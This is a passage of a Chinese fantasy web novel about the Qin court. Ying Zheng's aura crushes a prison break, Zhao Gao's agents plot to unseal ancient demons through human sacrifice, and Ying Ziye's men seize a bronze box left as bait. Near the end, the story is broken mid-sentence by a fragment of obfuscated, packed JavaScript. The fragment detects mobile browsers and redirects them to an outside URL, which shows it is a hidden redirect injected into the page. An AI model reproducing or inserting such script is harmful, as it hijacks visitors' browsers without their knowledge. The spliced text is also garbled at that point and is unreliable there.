然而,袭击者中亦有精通诡异术法之人,口中念诵着拗口的咒文。
竟能扭曲光线,干扰灵识,甚至反制阵法!
清光与黑气在甬道中激烈碰撞,发出令人牙酸的滋滋声!
战斗从一开始就进入了最残酷,最诡异的白热化!
只有最极致的隐匿、刺杀、反制与死亡!
秦军依靠严格的纪律和配合死战,袭击者则凭借鬼魅的身法和诡异的术法疯狂突进!
双方都在以惊人的速度减员!
整个九重牢狱最深处,化为了一个巨大的死亡陷阱和杀戮迷宫!!
就在这混乱与杀戮达到顶点的刹那——
一股无法用言语形容的,浩瀚如同星海,威严如同苍穹,霸道如同天威的恐怖气势!
毫无征兆地从咸阳宫最核心的方向轰然爆发!!
如同实质的
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海啸般,瞬间席卷了整个地下牢狱,乃至整个咸阳宫!
在这股气势之下,所有正在厮杀的人,无论是秦军锐士还是那些鬼魅袭击者,动作全都猛地一滞!
仿佛有一只无形的足以撑天拄地的巨手,猛地攥住了所有人的心脏和灵魂!!!
呼吸骤停!
血液凝固!
思维僵滞!
那些原本如同阴影般飘忽不定的袭击者,如同被阳光直射的冰雪!
身形瞬间变得凝实、迟滞,甚至发出了痛苦的闷哼!
他们的隐匿之术,在这绝对的帝威面前,如同儿戏般被强行破除!
秦军将士们则感到一股源自血脉深处的敬畏和臣服。
仿佛见到了至高无上的神祇,不由自主地想要跪伏下去!
而章台宫方向。
一道模糊却无比伟岸的玄色龙影仿佛冲天而起,睥睨天下!
那双冰冷的、不含丝毫人类情感的龙眸,似乎穿透了层层宫墙和大地,冷冷地“注视”着牢狱中的一切!
“陛…陛下……”
一名秦军将领艰难地吐出两个字,脸上充满了无比的敬畏。
那些袭击者眼中,则首次露出了极致的恐惧!
他们感觉自己就像是在苍龙爪下挣扎的蝼蚁,任何动作,任何念头,都可能引来毁灭性的打击!
整个九重牢狱的厮杀,在这股笼罩一切的恐怖帝威之下,竟硬生生地被按下了暂停键!
显然,那位帝国的至尊,已然动怒。
……
十八公子府,密室之内。
胡亥正盘坐于那座诡异古阵中央,周身赤蓝交织的异种能量如同躁动的毒蛇般流转不息,试图彻底驯服吞噬那来自火精的狂暴力量。
突然。
一股难以形容,霸道绝伦的恐怖气势,如同无形的巨锤,狠狠砸穿了密室的层层禁制,碾压过他的神魂!!!
“噗——!”
胡亥猛地睁开双眼,瞳孔中异光狂闪,直接喷出一小口鲜血。
周身流转的能量瞬间失控暴走,震得他经脉剧痛,险些走火入魔!
“什么东西?!”
他脸上充满了惊骇与难以置信,猛地抬头,望向气势传来的方向。
那是咸阳宫的最深处!
这股气势…太可怕了!
远超他认知中的任何强者!
甚至比他偷偷吞噬的力量更加深邃,更加至高无上!
仿佛是整个天地的主宰降临了人间!
“莫非是帝宫之中那个绝世强者…又出现了?!”
“父皇到底暗中豢养了什么样的存在?”
胡亥的心脏疯狂跳动。
既有恐惧,更有一种被隐瞒,被压制的不甘和嫉妒!
他立刻压下体内翻腾的气血,对着阴影处厉声低喝:“影狩!”
一道黑影无声跪地。
“去!给本公子查!刚刚那股气势究竟是怎么回事?!源头在何处?是谁发出的?!我要知道一切!”
胡亥的声音因激动和一丝恐惧而微微颤抖,“小心点,绝不可暴露!”
“遵命!”
影狩领命,瞬间消失。
胡亥喘着粗气,擦去嘴角血迹,眼中光芒闪烁不定。
他感觉自己似乎触摸到了咸阳宫深藏的不为人知的冰山一角!
第246章 祖龙嬴政显圣!!!
与此同时。
中车府令官署。
赵高也感受到了那股沛然莫御的帝威。
他批阅文书的动作微微一顿,苍白的手指有那么一刹那的僵硬!
他缓缓抬起头,望向章台宫的方向。
那双总是隐藏在谦卑下的眼眸深处,掠过一丝极深的忌惮。
但更多的,却是一种冰冷的、早已预料到的平静。
“果然还是惊动了宫中的那个高手吗?”
他低声自语,声音尖细如同耳语,“如此威势…真是令人敬畏啊。”
然而,他的嘴角却缓缓勾起一抹无人察觉的,阴冷的弧度!
“可惜……终究是晚了一步。”
他早已算计好了一切。
包括这股必然会出现的气息震慑。
他派去的死士,本就是用来吸引注意力和制造混乱的弃子。
赵高心中冷笑,重新低下头,慢条斯理地继续批阅文书,仿佛刚才那撼动整个咸阳宫的恐怖气势,只是一阵无关紧要的微风。
一切,都在按照他的计划进行。
虽然代价不小,但结果…是值得的。
……
此刻。
九重牢狱最深处的混乱,并未因那恐怖帝威的短暂降临而平息。
反而变得更加血腥和疯狂!!
残余的罗网死士深知任务失败必死无疑,更加悍不畏死地纠缠着守卫!
而秦军锐士和阴阳家客卿则因皇帝的震怒而爆发出了十二分的战力,誓要将这些胆大包天的刺客尽数留下!
刀光剑影,符咒乱飞!
鲜血与残肢不断溅落在冰冷的石壁上。
就在这片极致的混乱中,那间原本关押着螭的牢房内,黑光一闪,螭的身影踉跄出现!
虽然虚弱,但那双猩红的眼中却爆发出脱困后的狂喜和积压了无数年的暴戾!
“快…走……”
身旁,负责营救他出来的黑袍人艰难地吐出两个字,便彻底没了声息。
螭看都未看那死亡的同伴,他贪婪地呼吸着自由,哪怕混杂着浓烈血腥味的空气。
感受着体内那被赵高用药物强行激发,虽然斑杂却汹涌的力量!
“吼——!”
他发出一声非人的咆哮!
猛地挣断身上那些本就有些松动的玄铁锁链!
一名附近的秦军校尉发现异常,怒吼着持戈冲来:“逆犯休走!”
螭脸上露出残忍的狞笑,他甚至没有动用任何术法,只是简单直接地一爪探出!
那爪风带着撕裂空间的尖啸和污秽的黑芒!
“咔嚓!”
精铁打造的戈头连同那校尉的半边身子,如同纸糊般被瞬间撕碎!
鲜血内脏泼洒一地!!
螭舔了舔溅到唇边的鲜血,眼中疯狂更甚!
他如同饿狼扑入羊群,直接杀向最近的战团!
所过之处,无论是负隅顽抗的罗网死士,还是结阵阻拦的秦军精锐,竟无一合之敌!
皆被其狂暴的力量和诡异的爪功撕碎!
他甚至能强行吸取死者残存的血气补充自身!
“拦住他!”
一名阴阳家客卿惊怒交加,联手施展束缚咒法!
螭狂吼一声,周身爆发出浓郁的黑红色煞气,竟直接将那清光咒法冲散!
反手一爪隔空抓去。
那客卿惨叫一声,胸口出现五个透明的血洞,倒地身亡!
脱困的猛虎,正在宣泄他被囚禁无数年的怒火和杀意!!
然而,就在他杀得性起,几乎要冲破最后一道防线之时!
整个咸阳宫上空,风云突变!!
那股之前降临过的浩瀚帝威再次出现!
但这一次,不再是无形的震慑,而是化为了实质的,令万物臣服的恐怖压力!!
所有人。
无论是厮杀中的双方,还是疯狂杀戮的螭,动作全都再次僵住。
如同被无形的山岳压顶,连呼吸都变得无比艰难!
紧接着。
在无数道惊骇欲绝的目光注视下。
咸阳宫上空,那璀璨的星空仿佛被一只无形巨手拨开。
一道模糊却无比伟岸的玄色身影凝聚于九天之上!!!
虽看不清具体面容。
但那睥睨天下,执掌乾坤,如同天帝临世般的无上威严,却清晰地烙印在每一个仰望者的灵魂深处!
祖龙!
陛下再次显圣!
这一刻,赵高在中车府令官署内,猛地抬起头。
一直以来的从容和算计瞬间消失。
脸上第
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一次露出了真正的,难以置信的惊骇!
他猜到会惊动宫中高手,却万万没想到,这位高手,是陛下!
陛下竟会以这种方式,直接现身!
这股力量……
已经完全超出了他的理解!
而十八公子府密室中的胡亥,更是吓得直接瘫软在地!
他仰望着天空中那如同神魔般的父皇身影。
浑身抖得如同筛糠,眼中充满了极致恐惧和崩溃!
他一直渴望力量,甚至不惜修炼邪功。
可直到此刻,他才真正明白,什么是足以碾压一切的帝王之力!!!
那凝聚的玄色帝影仿佛成为了天地的中心。
星光黯淡,风云绕其而旋。
一股难以言喻,令万物本能臣服,灵魂战栗的威压如同实质般笼罩四野。
下方的厮杀早已停止。
所有幸存者,无论是秦军还是罗网死士,都在这股帝威下瑟瑟发抖,匍匐在地。
连抬头仰望的勇气都生不出半分。
唯有那刚刚脱困,杀戮正酣的螭。
他仰望着那天空中的身影,猩红的眼中先是极致的恐惧,仿佛被天敌盯上。
但旋即,那恐惧便被积累了无数年的怨毒、仇恨和一种歇斯底里的疯狂所取代!
“嬴政——!!!”
他发出撕心裂肺的咆哮,声音扭曲变形,充满了无尽的恨意!
“是你!是你关押我无数年!”
“是你夺了我百越山河!”
“今日,我便要你付出代价!!!”
他虽然惊惧于那浩瀚帝威,但体内被药物强行激发,又吞噬了不少血气的斑杂力量此刻正沸腾到极点!
加之刚脱囚笼的狂喜和多年怨气冲击,竟让他生出一种敢于撼天的……
错觉!
他周身黑红色的煞气轰然爆发,如同狼烟直冲云霄!
那煞气之中,隐约可见无数扭曲的毒虫虚影和凄厉的亡魂哀嚎!
他双爪猛地向天撕扯。
两道足以撕裂山岳的污秽爪芒,带着腐蚀一切、吞噬生机的邪恶力量,悍然抓向天空那玄色帝影!
这一击,几乎凝聚了他此刻所有的力量和怨念!
他要将这高高在上的帝王,扯落凡尘!!
第247章 祖龙,出手了!!!
然而。
面对这足以让顶尖高手都骇然失色的恐怖一击。
天空中的玄色帝影,只是缓缓抬起了手。
那并非真实的手掌,而是由无尽帝王意志和天地之力凝聚而成的巨大虚影,覆盖着玄奥的龙鳞纹路,仿佛上苍之掌!!
没有浩大的声势,没有刺目的光华!
只是那么轻描淡写地,带着一种理所当然碾压蝼蚁般的漠然,向下一按!!
“帝掌·乾坤镇!”
螭那两道狂暴凶戾的爪芒,在与那帝掌虚影接触的瞬间,如同遇到烈阳的冰雪,无声无息地消融、崩解、湮灭!
连一丝涟漪都未能激起!
螭脸上的疯狂和狞笑瞬间凝固,化为极致的惊骇和难以置信!
而那帝掌虚影却毫不停滞,继续压下!
“噗——!”
螭周身那沸腾的黑红色煞气,如同被无形巨山碾压,瞬间溃散!
他整个人如同被一柄无形的巨锤狠狠砸中,猛地喷出一大口黑血,里面甚至夹杂着内脏的碎片!
周身骨骼发出令人牙酸的爆响,不知断了多少根!
他脚下的地面轰然塌陷下去一个巨大的掌印深坑!
整个人被死死压趴在坑底,连一根手指都无法动弹!
那恐怖的帝威如同亿万钧重担,压得他神魂欲裂,几乎要彻底崩溃!
差距!
无法用道理计的巨大差距!!!
他所谓的脱困后的力量,在这位帝国主宰面前,根本不堪一击!
嬴政甚至未曾真正现身,只是隔空凝聚的一道意志虚影,便已将他彻底碾压!
“呃…啊……”
螭在坑底艰难地挣扎着,眼中充满了崩溃和绝望。
但更多的,是一种刻骨铭心,永世不忘的怨毒!
那天空中的帝影缓缓收回手掌。
冰冷不含丝毫情感的目光仿佛穿透虚空,落在坑底那如同死狗般的螭身上。
螭知道。
自己败了,一败涂地!
若非对方似乎只是想**而非立刻灭杀,自己早已形神俱灭!
但他不甘心!
他还有血海深仇未报!
他还要去找那九个魔头!
就在那帝威似乎要再次加强,将他彻底碾碎或擒拿的刹那。
螭眼中猛地闪过决绝,他疯狂燃烧着最后的本源和那未完全化开的药力。
甚至,不惜引爆了体内那“牵机引”的部分毒性!!
“轰!”
一股极其不稳定,混乱无比的能量猛地从他体内炸开!
暂时冲开了帝威的一丝缝隙!!
他借着这自残换来的,微不足道的一丝空隙。
嘶声咆哮出最后的诅咒!
声音嘶哑扭曲,却充满了令人心悸的怨毒和疯狂:
“嬴政!等着我!可千万不要**!!”
“我会回来找你的——!!!”
黑光一闪,某种极其珍贵的保命遁符被激发。
他的身影瞬间消失在深坑之中,只留下那充满无尽恨意的咆哮,在夜空中回荡不休。
天空中的玄色帝影微微波动了一下。
似乎对这只蝼蚁最后的挣扎和逃离,泛起了一丝极其细微的涟漪。
但最终,并未再出手追击。
帝威缓缓散去,星空重现。
只留下满地狼藉和死尸,以及无数心有余悸,瑟瑟发抖的幸存者。
而皇宫深处。
传来一声若有若无的…冰冷的冷哼。
……
翌日。
咸阳宫,麒麟殿。
百官肃立,气氛却与往日截然不同。
空气中弥漫着一种难以言喻的压抑和紧张,仿佛昨夜那场惊动整个咸阳的变故余波仍未散去。
每一位大臣都低垂着眼睑,不敢直视御阶之上那尊身影。
甚至连呼吸,都刻意放得轻缓。
御座之上。
嬴政身着玄黑十二章纹帝袍,头戴十二旒冕冠,珠帘垂落,遮住了他大半面容,令人看不清具体神情。
但他只是静**在那里,周身自然散发出的那股浩瀚帝威,便如同无形的山岳,压在每一位朝臣的心头。
比以往任何一次朝会都要沉重得多!!
赵高依旧侍立在御阶之侧,低眉顺目,姿态恭谨到了极致。
然而,若有心人仔细观察,便能发现他垂在袖中的手指,正极其轻微地颤抖着。
额角,甚至渗出了一层细密的,用再多粉也难以完全掩盖的冷汗。
他不敢抬头。
每一次眼角的余光瞥见那冕旒后的模糊轮廓,昨夜那通天彻地的玄色帝影便会浮现脑海。
让他从骨髓里感到一股冰冷的恐惧!!
他第一次如此清晰地意识到。
自己所有的阴谋算计,在这位帝王绝对的力量面前,是何等可笑与脆弱!!
而站在百官前列的胡亥,更是脸色苍白,眼窝深陷,显然一夜未眠。
他努力想保持平日那副乖觉的模样。
但微微颤抖的双腿和闪烁不定的眼神,却出卖了他内心的惊惶。
他此刻才真正明白。
自己以往那些小动作和所谓的野心,在父皇那如同神魔般的威能之下,简直如同儿戏!
他甚至不敢去想象。
若是父皇知道了自己暗中做的那些事……
那后果,让他不寒而栗。
死一般的寂静笼罩着大殿。
终于,嬴政开口了!
他的声音并不高昂,却如同金铁交击,清晰地传入每一位朝臣耳中。
带着一种冰冷的不容置疑的威严。
“昨夜,有宵小之辈,潜入九重牢狱,劫走重犯,杀伤朕之侍卫,搅扰宫闱清静。”
一句话,如同惊雷般在百官心中炸响!
虽然早有猜测,但由皇帝亲口证实,依旧让所有人骇然失色。
竟有人敢在咸阳宫,在皇帝眼皮底下劫狱?!
这是何等猖狂!
何等骇人听闻!!!
嬴政的目光仿佛透过冕旒,缓缓扫过殿下群臣。
每一个被他目光扫过的人,都感觉如同被利剑刮过,头皮发麻。
“朕,有两件事,要尔等去办。”
“其一。”
他的声音陡然转冷,带着森然杀意。
“给朕查!彻查!”
“那些刺客是何来历?”
“所用**、兵器、遁术,皆要追根溯源!”
“九重牢狱守卫森严,他们是如何潜入?”
“宫内宫外,可有接应?”
“朕要一个清清楚楚,明明白白的交代!”
“凡有牵连者,无论涉及何人,官居何位——夷三族!!!”
冰冷的“夷三族”三个字,让整个大殿的温度骤降。
所有大臣噤若寒蝉,连呼吸都几乎停止。
“其二。”
嬴政继续道,语气依旧冰冷。
“那名被劫走的要犯,给朕追!”
“动用一切力量,黑冰台、罗网在各
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郡县衙,给朕掘地三尺,也要把他找出来!”
“生要见人,死要见尸!!!”
“任何敢于藏匿者,同罪!”
他的目光似乎若有若无地在赵高方向停顿了一瞬。
赵高只觉得一股寒气从脚底直冲天灵盖,差点当场跪下去!
他强行稳住心神。
用那尖细的嗓音第一个出列响应,声音却带着一丝难以掩饰的颤抖。
“老奴遵旨!罗网定当竭尽全力,缉拿凶犯,查明真相,以报陛下天恩!”
李斯、冯去疾等重臣也纷纷出列,面色凝重地领旨。
所有人都明白,陛下这次是动了真怒。
一场席卷朝野内外的腥风血雨,已然不可避免!
胡亥站在人群中,低着头,脸色更加苍白,心中充满了后怕和庆幸。
幸好……
幸好自己昨夜只是派人调查,并未亲自参与任何事……
朝会在一片极度压抑和恐惧的气氛中结束。
百官如同逃离般退出麒麟殿,每个人背后都已被冷汗浸湿!
他们知道,帝国的天,要变了。
而那位端坐于九天之上的帝王,其显露出的冰山一角的实力和此刻的怒火。
将让所有心怀鬼胎之人…寝食难安!
……
退朝的钟声余音尚在麒麟殿回荡。
百官们如同惊弓之鸟,脚步匆匆却又不敢发出太大响动,迅速离开那令人窒息的大殿。
赵高垂首恭送始皇帝銮驾离去后,也随着人流,保持着那副谦卑惊惶的姿态,快步返回自己的中车府令官署。
一进入那熟悉的弥漫着阴冷气息的官署,屏退了左右。
赵高脸上那恰到好处的恐惧和恭顺瞬间消失得无影无踪。
取而代之的,是一种极致的阴沉!
就在这时。
一道身影便如同鬼魅般悄无声息地滑入,无声跪地。
呈上一枚细小的,带着百越之地特有泥腥味的竹管。
赵高一把抓过,捏碎竹管,抽出里面的纸条。
当他的目光迅速扫过纸条上那寥寥数语和特殊的标记时,那双总是隐藏在卑微下的眼眸,骤然爆发出骇人的精光!
找到了!
百蛮冢!
吞噬生机!
确认是九魔封印入口之一!
所有的谋划,所有的冒险,所有的代价……
在这一刻,似乎都得到了回报!
一股难以遏制,近乎癫狂的喜悦和野心冲上他的心头!
让他苍白的面皮都泛起一丝不正常的红晕。
他仿佛已经看到了那足以颠覆天下的恐怖力量,在向他招手!
但他迅速压下了这失态的情绪,深吸一口气,眼神重新变得冰冷而锐利,如同最毒的蛇。
走到密室角落的铜盆前,将那张纸条置于盆中。
指尖弹出一缕幽蓝的火苗,瞬间将其焚为灰烬。
然后,他对着那依旧跪伏于地的黑影,用一种压抑着极致兴奋,却冰冷如铁的声音,一字一句地下达了命令。
“传令掩日!一切,按原计划行事!”
“所需的‘祭品’,要多少,给多少!”
“务必……打开封印!”
“诺!”
黑影领命,如同来时一样,无声无息地融入阴影,消失不见。
密室内,只剩下赵高一人。
他缓缓踱到窗边,望向南方百越的方向,嘴角那抹阴冷诡谲的笑容,再也无法抑制地扩大开来。
第248章 生要见人,死要见尸!!!
南疆的天气渐渐回暖。
但广袤的土地上依旧弥漫着战火初熄后的萧索与不安。
赢子夜并未急于返回咸阳,而是坐镇于百越王庭改建的行宫之中,着手处理着平定后的千头万绪。
他颁布了一系列安抚政策。
减免归降部落的首年赋税。
组织秦军帮助百姓重建家园。
选拔部分表现良好的百越头人进入地方管理阶层。
甚至,允许保留部分无伤大雅的习俗信仰。
一系列组合拳下来,原本惶惶不安的百越民心,逐渐趋于稳定。
然而,零星的小范围**,依旧时有发生。
多是些不甘心失败的原百越贵族死忠,或是被战争逼入山林的溃兵,依仗地形熟悉,不时出来骚扰袭击。
这日。
赢子夜刚处理完一桩关于两个部落因水源归属险些械斗的事件,做出了公正的裁决。
双方头人皆心悦诚服地退下。
他揉了揉眉心,虽只是小事,但繁杂琐碎,亦需耗费心神。
“主上,蒙毅将军急报。”
赵弋苍大步走入,呈上一封军报。
赢子夜展开一看,眉头渐渐蹙起。
军报中称。
位于百越与旧楚交界区域的几个刚刚归附,原本人口还算稠密的城池,近日接连上报。
辖区内,出现了大量人口莫名流失的情况!
这并非小规模的迁徙,而是整村整寨的人仿佛一夜之间消失得无影无踪。
家中财物虽在,却无任何打斗或强行掳掠的痕迹,如同人间蒸发。
当地官员初步勘查后,猜测是否是因畏惧战火,或是难以适应秦法,举族向更深的山林迁徙了……
“大规模迁徙?”
赢子夜指尖敲击着桌面,眼神锐利。
“即便迁徙,岂会不留丝毫痕迹?”
“牲畜、粮草、甚至老人幼儿,都能如此悄无声息地全部离开?”
他看向赵弋苍。
“告诉蒙毅,不管原因如何,人口莫名大量流失,绝非小事。”
“让他加派得力人手,深入调查,生要见人,死要见尸!!”
“务必查明缘由!”
“诺!”赵弋苍领命,正欲转身。
就在这时,又一名暗河精锐如同鬼魅般悄无声息地出现在殿内,单膝跪地,声音低沉。
“主上,我等在监视百越周边区域时,发现了此前在韩地伪装成我等的那些人的踪迹!”
赢子夜眸光骤然一凝。
“哦?具体位置?人数?动向?”
“人数不多,约十余人,行踪颇为诡秘,但……”
暗河探子语气带着一丝迟疑和古怪。
“但他们似乎……并非刻意隐藏,反而像是在某些地方,故意留下了一些不算高明的痕迹。”
“仿佛…生怕我们找不到他们一般。”
“其行进路线,也似乎在绕着一些险恶的外围区域活动!”
“故意留下痕迹?”
“绕行活动?”
赢子夜身体微微前倾,黑眸中闪过一丝冷冽的光。
这两个信息结合之前韩旧地的遭遇,让他心中的疑虑瞬间达到了顶点!
在韩地,那些人伪装暗河。
故意吸引月神等人的注意力,将他和阴阳家的目光引向雪衣堡。
如今在百越,这些人又再次出现。
并且,故意暴露行踪,绕着一些凶名昭彰的险地活动?
这绝不仅仅是巧合!
他们的目的,似乎从来就不是真正的隐藏或达成某个具体目标,而是……
像钓鱼一样。
一次又一次地,试图将他的注意力,引向某个特定的方向!
先是雪衣堡,现在是百越之地?
“……”
赢子夜的手指在地图上几个标记着极度危险符号的区域轻轻一点。
这些地点,都是南疆著名的绝地。
传闻有进无出。
连百越土著都不敢轻易靠近!
这些人千方百计,甚至不惜暴露自身,也要将他的注意力引向这些地方,究竟意欲何为?
这些地方藏着什么?
还是说,这些地方本身,就是一个巨大的陷阱?
但无论如何,对方既然已经露出了狐狸尾巴,就没有放过的道理!
不管他们是饵,还是别的什么,先吃掉再说!
赢子夜眼中寒光一闪,不再犹豫,冷声下令。
“既然他们如此‘热心’地为我们引路,那我们便去会一会他们!”
“赵弋苍!”
“卑职在!”
“点齐三百夜枭,再由你亲自挑选暗河中的好手,随孤即刻出发,前往几处险地!”
“那些乔装之人。”
赢子夜的声音带着冰冷的杀意。
“不管他们有什么目的,这一次,孤要他们一个都走不掉!”
“全部拿下,撬开他们的嘴!”
“诺!”
赵弋苍眼中闪过嗜血的光芒,重重抱拳,立刻转身去安排。
赢子夜站起身,玄衣无风自动。
他倒要看看,这重重迷雾之后,究竟隐藏着怎样的真相!
这些地方,究竟是绝地,还是…某些人精心布置的修罗场!
……
枯骨涧外围,一片枯死的黑木林。
风声呜咽,卷起地上的砂石,发出令人不适的摩擦声。
那十余名乔装成暗河模样的人影,依旧在不紧不慢地穿梭着。
他们似乎刻意保持着一种既能让追踪者发现,又不至于立刻被追上的节奏。
如同经验丰富的猎人在引诱猎物进入陷阱。
然而,他们并不知道,真正的猎人,已经失去了耐心,并亮出了淬毒的獠牙!
没有任何征兆。
一道极细的几乎看不见的钢丝,悄无声息地在一名“暗河”**颈前的空气中浮现,然后猛地收紧。
“呃!”
那名**眼睛猛地凸出!
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双手徒劳地去抓那已深深嵌入皮肉的钢丝,喉咙里只能发出嗬嗬的漏气声。
随即身体一软,被拖入旁边的阴影中,再无生息。
几乎在同一时间。
另一名**正警惕地扫视侧方,脚下却突然一空!
一个早已挖好并巧妙伪装的陷坑瞬间出现,坑底密布着淬毒的倒刺。
他甚至连惊呼都来不及发出,便直直坠落,被毒刺贯穿,瞬间毙命!!
第三名**似乎察觉到了什么,猛地回头!
却只看到一枚旋转而来的,边缘锋锐如刀的铜钱,精准地划过了他的咽喉!
鲜血喷溅,他捂着脖子踉跄后退,撞在一棵枯树上!
树干后悄然探出一只戴着黑色手套的手,捂住了他的口鼻,轻轻一扭,咔嚓一声,颈骨断裂。
暗河的杀戮,如同夜色中的潮水。
无声无息,却又高效致命!
他们不与目标正面缠斗,而是利用环境、陷阱、**、以及远超对方的隐匿和暗杀技巧,进行着最冷酷的清除。
那些乔装的**甚至来不及发出警报。
更别说组织有效的抵抗。
便在极短的时间内,一个接一个地变成了冰冷的尸体!!
他们的伪装在真正的暗夜王者面前,显得如此可笑和拙劣。
最后一名乔装**背靠着一块巨石,惊恐地看着同伴如同被无形之手抹去般接连消失,他彻底崩溃了。
猛地从怀中掏出一枚信号烟火,想要发射!
然而,他刚举起手,一枚**便从极刁钻的角度射来,精准地钉入他的手腕!
信号烟火掉落在地。
他还想挣扎,赵弋苍那如同铁塔般的身影已如同鬼魅般出现在他面前,覆盖着铁甲的大手直接扼住了他的喉咙,将其提离地面。
“谁派你们来的?目的?”
赵弋苍的声音冷硬如铁,手上微微用力,那**顿时眼球暴突,脸色酱紫。
**喉咙里发出咯咯的声音,眼中充满了恐惧,却死死咬着牙,似乎宁死不屈。
赵弋苍眼神一冷,正欲用刑逼供。
就在这时。
一名正在搜查其他尸体的暗河精锐突然发出一声低呼:“统领!有发现!”
赵弋苍皱眉,随手扭断了手中**的脖子,将其像扔垃圾般丢开,大步走过去。
只见那名暗河精锐从一具乔装**的尸体贴身内袋中,小心翼翼地取出了一个物件。
那是一个样式古旧,表面雕刻着玄奥星辰图案,散发着淡淡沧桑气息的青铜盒子。
与在雪衣堡找到的那个仿制品截然不同。
这个盒子一出现,便隐隐有一股难以言喻的,古老而神秘的能量波动散发开来!
“这是……”
赵弋苍瞳孔骤缩,即便他不通秘术,也能感觉到这盒子的不凡。
他立刻双手接过,仔细查看,确认绝非俗物后,立刻转身禀报去了。
第249章 封魔之地,解封!!!
百蛮冢。
核心区域,那弥漫着吞噬生机灰雾的山谷入口附近。
与枯骨涧那场无声的杀戮不同。
这里的气氛凝重而邪异。
灰黑色的雾气似乎比之前更加浓郁粘稠,翻滚间仿佛有无数痛苦的面孔在哀嚎。
地面上,以某种邪恶的仪轨布置着一个巨大的法阵,阵眼处堆积着小山般的……
活人!
他们大多是被罗网从各地掳掠来的平民、战俘。
甚至是不听话的部落土著。
此刻皆被束缚着,塞住了嘴巴,眼中充满了极致的恐惧和绝望,发出呜呜的哀鸣!!
他们的生命力,正在被那法阵缓缓抽离。
化作一道道血色的能量流,如同溪流般汇入山谷入口的灰雾之中,试图中和,或者说“喂饱”那可怕的吞噬之力。
掩日负手立于法阵之外,冷漠地看着这如同炼狱般的景象。
六剑奴如同六尊冰冷的雕塑,护卫在其周围。
但他们面具下的眼神,却或多或少透露出一丝不解和疑虑。
“大人。”
乱神终于忍不住开口,声音沙哑低沉。
“属下不明白。”
“既然已用那些诱饵成功将赢子夜和暗河的注意力引向了另一边,为何还要将好不容易到手的楚国宝盒,也‘送’给他们?”
“那毕竟是苍龙七宿的宝盒之一。”
“更是赵高大人极为重视的东西。”
掩日头也未回,声音透过面具,显得愈发低沉漠然。
“钓鱼,总要舍得香饵,仅仅几个无关紧要的**,份量还不够重,不足以让他们坚信不疑,甚至会怀疑是陷阱。”
他顿了顿,继续道:“但加上一个货真价实的宝盒,就由不得他们不信了。”
“他们会认为抓住了天大的线索,所有的精力都会被吸引过去,会围绕着那个盒子绞尽脑汁。”
“如此一来,就再无人会有暇来打扰我们在此地的…正事。”
魍魉**着手中的双剑,语气带着一丝少年人的不满和桀骜:“即便如此,代价也太大了点吧?”
“那可是宝盒!就这么白白给了他们?”
“目光短浅。”
掩日冷冷地瞥了他一眼,那目光让魍魉下意识地收敛了姿态。
“宝盒虽好,但只有一个,没什么用,集齐七个…又谈何容易?”
“而且,绝大多数宝盒都掌握在帝国皇室手中。”
“想要一一夺取,难如登天,且极易成为众矢之的。”
他的目光重新投向那不断吞噬着生命力的山谷入口,语气中带着一种冷酷的算计。
“既然如此,倒不如顺势而为。”
“将其中一个‘送’出去,让他们去争,去抢,去互相猜忌,去吸引所有的目光和火力。”
“而我们……”
他声音陡然压低,带着一丝狂热。
“则握住眼前这真正能颠覆一切的力量!”
“九魔一旦解封,其威能,岂是区区一个宝盒所能比拟?”
“届时,让他们在那边争抢玩具,而我们,则掌控真正的毁灭权柄!”
“这才是大人的真正意图——”
“舍饵,钓龙!!!”
六剑奴闻言,沉默了片刻。
真刚缓缓开口,声音凝重。
“大人英明,是属下等思虑不周。”
“只是……解封九魔,风险是否太大?毕竟那是上古……”
“风险?”
掩日打断他,语气中带着一丝不容置疑的决绝。
“欲成非常之事,必冒非常之险!”
“帝国一统,四海臣服,想要打破这铁桶般的江山,不用些非常手段,难道靠你们一个个去刺杀吗?!”
他猛地一挥手,指向那血色翻涌的法阵和嘶鸣的灰雾。
“如今万事俱备,这些祭品的气血,足以暂时冲开入口的封印!”
“此刻不行事,更待何时?!”
他目光扫过六剑奴。
“首领已在咸阳为我们铺平道路,吸引了一切注意。”
“现在,是我们为他,也为罗网,献上这份‘大礼’的时候了!”
“开始解封!!!”
掩日的声音斩钉截铁,带着一种近乎疯狂的决意。
六剑奴不再多言,齐齐颔首,眼神变得冰冷而专注。
各自占据法阵一角,将自身那凌厉无匹的剑气注入法阵之中,加速着对那无数“祭品”生命力的抽取和向山谷入口的灌注。
一场以无数生命为代价,试图释放上古魔头的血腥仪式,进入了最后的,也是最关键的阶段。
灰雾翻滚得越发剧烈,仿佛有什么恐怖的存在,即将苏醒!!!
……
枯骨涧外围,枯木林中。
血腥味尚未完全散去。
赵弋苍单膝跪地,双手将那枚散发着古老神秘气息的青铜宝盒,呈到赢子夜和少司命面前。
“主上,所有伪装者已尽数清除,无一漏网。”
“此盒,是从其中一具尸体上搜出。”
赢子夜的目光落在那青铜盒上。
盒身古朴,星辰图案玄奥,那股隐晦却真实的能量波动,绝非雪衣堡那假货所能比拟。
这的的确确,是真正的楚国宝盒!!
然而,赢子夜脸上非但没有丝毫喜悦,反而眉头紧锁。
黑眸之中充满了深深的疑虑和一丝……
被戏弄的冰冷怒意!
太顺利了。
顺利得诡异。
这些**,行为矛盾。
先是刻意引诱,被发现后却又没有展现出与这份“重任”相匹配的实力和决死意志。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288562|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>几乎是被暗河单方面屠戮。
最后,这至关重要的宝盒,竟然如此“轻易”地就被找到了?
这感觉,不像是一场争夺,反而像是……
有人精心包装好一份“大礼”,然后千方百计地,甚至不惜赔上几条人命作为“诚意”,硬塞到他的手里!
对方大费周章,伪装嫁祸,千里迢迢将他从韩地引到百越,又在此地再次现身引诱。
最终目的,难道就是为了送他一个宝盒?
这绝无可能!
那他们的真正目标到底是什么?
这宝盒的出现,是为了掩盖什么?
或者说,是为了将他的注意力牢牢锁死在宝盒之上,从而忽略掉其他更重要的东西?
赢子夜凝视着手中的宝盒,指尖感受到那冰冷的触感和细微的能量流动,心中的不安却越来越强烈。
他感觉自己仿佛陷入了一张无形的大网!
